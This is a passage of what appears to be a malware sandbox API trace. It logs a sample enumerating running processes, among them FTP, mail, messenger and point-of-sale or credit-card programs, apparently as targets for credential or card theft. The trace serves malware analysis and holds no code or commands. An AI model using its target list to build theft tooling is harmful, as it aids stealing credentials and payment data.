th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0075.111] lstrlenW (lpString="dwm.exe") returned 7 [0075.111] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0075.112] lstrlenW (lpString="explorer.exe") returned 12 [0075.112] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0075.112] lstrlenW (lpString="spoolsv.exe") returned 11 [0075.112] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.113] lstrlenW (lpString="svchost.exe") returned 11 [0075.113] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0075.114] lstrlenW (lpString="taskhost.exe") returned 12 [0075.114] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0075.115] lstrlenW (lpString="taskeng.exe") returned 11 [0075.115] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="wilson-homeless-extension.exe")) returned 1 [0075.115] lstrlenW (lpString="wilson-homeless-extension.exe") returned 29 [0075.115] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="while damaged.exe")) returned 1 [0075.116] lstrlenW (lpString="while damaged.exe") returned 17 [0075.116] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="hosted_thee.exe")) returned 1 [0075.117] lstrlenW (lpString="hosted_thee.exe") returned 15 [0075.117] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x730, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="covering-secretariat.exe")) returned 1 [0075.118] lstrlenW (lpString="covering-secretariat.exe") returned 24 [0075.118] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="herself-neo-wheat.exe")) returned 1 [0075.119] lstrlenW (lpString="herself-neo-wheat.exe") returned 21 [0075.119] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="institution-population-samples.exe")) returned 1 [0075.119] lstrlenW (lpString="institution-population-samples.exe") returned 34 [0075.119] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="contacteddecidedmurder.exe")) returned 1 [0075.120] lstrlenW (lpString="contacteddecidedmurder.exe") returned 26 [0075.120] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="l_greene_go.exe")) returned 1 [0075.121] lstrlenW (lpString="l_greene_go.exe") returned 15 [0075.121] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="informative-switches-zones.exe")) returned 1 [0075.122] lstrlenW (lpString="informative-switches-zones.exe") returned 30 [0075.122] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spots wm.exe")) returned 1 [0075.123] lstrlenW (lpString="spots wm.exe") returned 12 [0075.123] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="epa_spirituality.exe")) returned 1 [0075.124] lstrlenW (lpString="epa_spirituality.exe") returned 20 [0075.124] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="lp imagination.exe")) returned 1 [0075.125] lstrlenW (lpString="lp imagination.exe") returned 18 [0075.125] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="guilty_shed_brandon.exe")) returned 1 [0075.126] lstrlenW (lpString="guilty_shed_brandon.exe") returned 23 [0075.126] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="disaster_rapidly_permanent.exe")) returned 1 [0075.126] lstrlenW (lpString="disaster_rapidly_permanent.exe") returned 30 [0075.127] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="voluntary teach.exe")) returned 1 [0075.127] lstrlenW (lpString="voluntary teach.exe") returned 19 [0075.128] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="languagemonacotoll.exe")) returned 1 [0075.129] lstrlenW (lpString="languagemonacotoll.exe") returned 22 [0075.129] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="jesse.exe")) returned 1 [0075.130] lstrlenW (lpString="jesse.exe") returned 9 [0075.130] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="partners_format.exe")) returned 1 [0075.130] lstrlenW (lpString="partners_format.exe") returned 19 [0075.131] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="predict.exe")) returned 1 [0075.131] lstrlenW (lpString="predict.exe") returned 11 [0075.131] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="supervisor.exe")) returned 1 [0075.132] lstrlenW (lpString="supervisor.exe") returned 14 [0075.132] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0075.133] lstrlenW (lpString="3dftp.exe") returned 9 [0075.133] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0075.134] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0075.134] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0075.135] lstrlenW (lpString="alftp.exe") returned 9 [0075.135] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0075.136] lstrlenW (lpString="barca.exe") returned 9 [0075.136] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0075.137] lstrlenW (lpString="bitkinex.exe") returned 12 [0075.138] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0075.138] lstrlenW (lpString="coreftp.exe") returned 11 [0075.138] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0075.139] lstrlenW (lpString="far.exe") returned 7 [0075.139] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x500, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0075.140] lstrlenW (lpString="filezilla.exe") returned 13 [0075.140] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0075.141] lstrlenW (lpString="flashfxp.exe") returned 12 [0075.141] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0075.142] lstrlenW (lpString="fling.exe") returned 9 [0075.142] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0075.143] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0075.143] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0075.144] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0075.144] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0075.144] lstrlenW (lpString="icq.exe") returned 7 [0075.145] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0075.145] lstrlenW (lpString="leechftp.exe") returned 12 [0075.145] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0075.146] lstrlenW (lpString="ncftp.exe") returned 9 [0075.147] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0075.148] lstrlenW (lpString="notepad.exe") returned 11 [0075.148] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0075.149] lstrlenW (lpString="operamail.exe") returned 13 [0075.149] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0075.150] lstrlenW (lpString="pidgin.exe") returned 10 [0075.150] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0075.151] lstrlenW (lpString="scriptftp.exe") returned 13 [0075.151] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0075.216] lstrlenW (lpString="skype.exe") returned 9 [0075.216] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0075.230] lstrlenW (lpString="smartftp.exe") returned 12 [0075.230] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0075.243] lstrlenW (lpString="thunderbird.exe") returned 15 [0075.243] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0075.245] lstrlenW (lpString="totalcmd.exe") returned 12 [0075.245] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0075.246] lstrlenW (lpString="trillian.exe") returned 12 [0075.246] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0075.247] lstrlenW (lpString="webdrive.exe") returned 12 [0075.247] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0075.248] lstrlenW (lpString="whatsapp.exe") returned 12 [0075.248] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0075.249] lstrlenW (lpString="winscp.exe") returned 10 [0075.249] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0075.250] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0075.250] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0075.251] lstrlenW (lpString="active-charge.exe") returned 17 [0075.251] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0075.252] lstrlenW (lpString="accupos.exe") returned 11 [0075.252] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0075.253] lstrlenW (lpString="afr38.exe") returned 9 [0075.253] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0075.254] lstrlenW (lpString="aldelo.exe") returned 10 [0075.254] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0075.255] lstrlenW (lpString="ccv_server.exe") returned 14 [0075.255] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0075.256] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0075.256] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0075.257] lstrlenW (lpString="creditservice.exe") returned 17 [0075.257] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0075.258] lstrlenW (lpString="edcsvr.exe") returned 10 [0075.258] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0075.259] lstrlenW (lpString="fpos.exe") returned 8 [0075.259] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0075.260] lstrlenW (lpString="isspos.exe") returned 10 [0075.260] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0075.261] lstrlenW (lpString="mxslipstream.exe") returned 16 [0075.261] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0075.262] lstrlenW (lpString="omnipos.exe") returned 11 [0075.262] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0075.263] lstrlenW (lpString="spcwin.exe") returned 10 [0075.263] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0075.264] lstrlenW (lpString="spgagentservice.exe") returned 19 [0075.265] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0075.265] lstrlenW (lpString="utg2.exe") returned 8 [0075.266] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="atlascomedy.exe")) returned 1 [0075.266] lstrlenW (lpString="atlascomedy.exe") returned 15 [0075.266] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="starting_terminal_failing.exe")) returned 1 [0075.267] lstrlenW (lpString="starting_terminal_failing.exe") returned 29 [0075.267] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, 